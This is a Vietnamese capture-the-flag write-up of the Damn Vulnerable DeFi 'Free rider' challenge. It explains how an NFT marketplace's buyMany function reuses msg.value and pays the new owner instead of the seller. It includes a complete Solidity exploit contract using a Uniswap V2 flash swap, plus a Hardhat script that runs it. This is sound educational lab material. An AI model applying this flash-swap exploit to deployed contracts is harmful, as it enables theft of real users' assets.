Challenge #10 - Free rider
Nhiệm vụ: Một NFT marketplace mới được release! Trên market đang bán 6 NFT, mỗi cái giá 15ETH. Có một người đã tiết lộ cho bạn biết rằng: marketplace này có lỗ hổng, nếu bạn có thể lấy được cho anh ta toàn bộ số NFT đó thì sẽ được thưởng 45ETH. Với 0.5ETH trong tay, hãy kiếm phần thưởng thôi!
Phân tích
Ta nhìn qua logic việc mua NFT trên market:
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}
function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
require(priceToPay > 0, "Token is not being offered");
require(msg.value >= priceToPay, "Amount paid is not enough");
amountOfOffers--;
// transfer from seller to buyer
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller
payable(token.ownerOf(tokenId)).sendValue(priceToPay);
emit NFTBought(msg.sender, tokenId, priceToPay);
}
Logic này có 2 lỗ hổng cực kì nguy hiểm:
- Lỗ hổng thứ nhất: Trong hàm
_buyOne
có check điều kiệnmsg.sender >= priceToPay
để đảm bảo số tiền trả ít nhất là bằng giá bán của NFT. Điều này ok. Tuy nhiên hàmbuyMany
lại không hề check điều kiện giá tiền trả bằng ít nhất tổng giá bán của các NFT. Theo đó khi ta gọi hàmbuyMany
, các hàm_buyOne
bên trong đang dùng chung một giá trịmsg.value
. Điều đó có nghĩa là ta có thể trả tiền chỉ bằng giá NFT giá cao nhất mà có thể mua được tất cả số NFT, thật bất ngờ! - Lỗ hổng thứ hai: Chuyển quyền sở hữu của token trước khi chuyển tiền. Do đó người nhận được tiền chính là chủ mới chứ không phải chủ cũ của NFT. Nói cách khác mua mà không hề mất tiền.
Ngoài ra, trong challenge này còn cung cấp cho chúng ta một Uniswap-v2 pool chứa 12000 DVT và 9000 ETH. Ta biết rằng Uniswap v2 cung cấp cho chúng ta flashswap
, có nghĩa là vay trước trả sau, cũng giống như flash loan vậy. Vậy thì đơn giản: vay - mua mà không mất tiền - trả vay. Hết.
Ta có kịch bản khai thác như sau:
- attacker đổi 0.1 ETH qua WETH bằng
deposit(0.1ETH)
(mục đích là để trả phí flashswap sau này). - chuẩn bị contract Rekt. Contract này thực hiện flashswap nên nó cần phải kế thừa
uniswapV2Callee
, tức implement hàmuniswapV2Call
, tiền vay sẽ được hoàn trả tại hàm này. - attacker approve cho contract Rekt có thể tiêu WETH của mình.
- contract Rekt tiến hành vay flashswap 15 WETH.
- đổi 15 WETH ra ETH.
- mua toàn bộ 6 NFT bằng
buyMany
vớimsg.value = 15ETH
. Lúc này contract Rekt có 0 WETH, 90 ETH, 6 NFT. - chuyển 6 NFT này cho buyer contract để kiếm 45 ETH cho attacker.
- đổi 15 ETH ra WETH bằng
deposit
trong contract WETH. - transferFrom phần phí flashswap 0.3% từ attacker cho contract Rekt.
- trả 15 WETH + 0.3% phí flashswap cho pair.
Exploit
Lưu ý một điều ở đây là market sử dụng safeTransferFrom
cho NFT transfer, do đó để contract có thể nhận được NFT, ta sẽ phải implement thêm hàm onERC721Received
thì mới có thể nhận được NFT.
Lưu ý tiếp theo là để contract nhận được ETH thì nhớ implement receive() external payable {}
Chuẩn bị contract Rekt:
contract RektFreeRider {
FreeRiderNFTMarketplace public immutable market;
// FreeRiderBuyer public immutable buyer;
IUniswapV2Pair public immutable pair;
WETH public immutable weth;
DamnValuableNFT public immutable nft;
address public buyer;
constructor(
address payable _market,
address _pair,
address _weth,
address _nft,
address _buyer
) {
market = FreeRiderNFTMarketplace(_market);
pair = IUniswapV2Pair(_pair);
weth = WETH(_weth);
nft = DamnValuableNFT(_nft);
buyer = _buyer;
}
function rekt(uint256 _amount) external {
address token0 = IUniswapV2Pair(pair).token0();
address token1 = IUniswapV2Pair(pair).token1();
uint256 amount0Out = address(weth) == token0 ? _amount : 0;
uint256 amount1Out = address(weth) == token1 ? _amount : 0;
bytes memory data = abi.encode(_amount);
pair.swap(amount0Out, amount1Out, address(this), data);
}
function uniswapV2Call(
address sender,
uint256,
uint256,
bytes calldata data
) external {
require(msg.sender == address(pair), "!pair");
require(sender == address(this), "!sender");
uint256 amount = abi.decode(data, (uint256));
weth.withdraw(15 ether);
uint256[] memory tokenIds = new uint256[](6);
for (uint256 i = 0; i < 6; i++) tokenIds[i] = i;
market.buyMany{value: 15 ether}(tokenIds);
for (uint256 i = 0; i < 6; i++) {
nft.safeTransferFrom(address(this), buyer, i);
}
weth.deposit{value: 15 ether}();
uint256 fee = ((amount * 3) / 997) + 1;
weth.transferFrom(tx.origin, address(this), fee);
uint256 amountToRepay = amount + fee;
weth.transfer(address(pair), amountToRepay);
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable {}
}
Tiến hành chạy kịch bản:
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
await this.weth
.connect(attacker)
.deposit({ value: ethers.utils.parseEther("0.1") });
const RektFreeRider = await ethers.getContractFactory(
"RektFreeRider",
attacker
);
this.rekt = await RektFreeRider.deploy(
this.marketplace.address,
this.uniswapPair.address,
this.weth.address,
this.nft.address,
this.buyerContract.address
);
this.weth
.connect(attacker)
.approve(this.rekt.address, ethers.constants.MaxUint256);
await this.rekt.connect(attacker).rekt(ethers.utils.parseEther("15"));
});
Check lại kết quả
[Challenge] Free Rider
✓ Exploit (387ms)
1 passing (3s)
All done!
Bình luận
Đây là một thử thách không quá khó, nhưng nó yêu cầu rất nhiều kỹ năng tổng hợp. Từ việc nắm được bản chất flashswap của uniswap, cho tới mối quan hệ giữa ETH-WETH, rồi khả năng nhận NFT của contract. Ý tưởng được đưa ra khá nhanh, nhưng bắt tay vào và ghép nối các ý tưởng thành code thực sự là vất vả.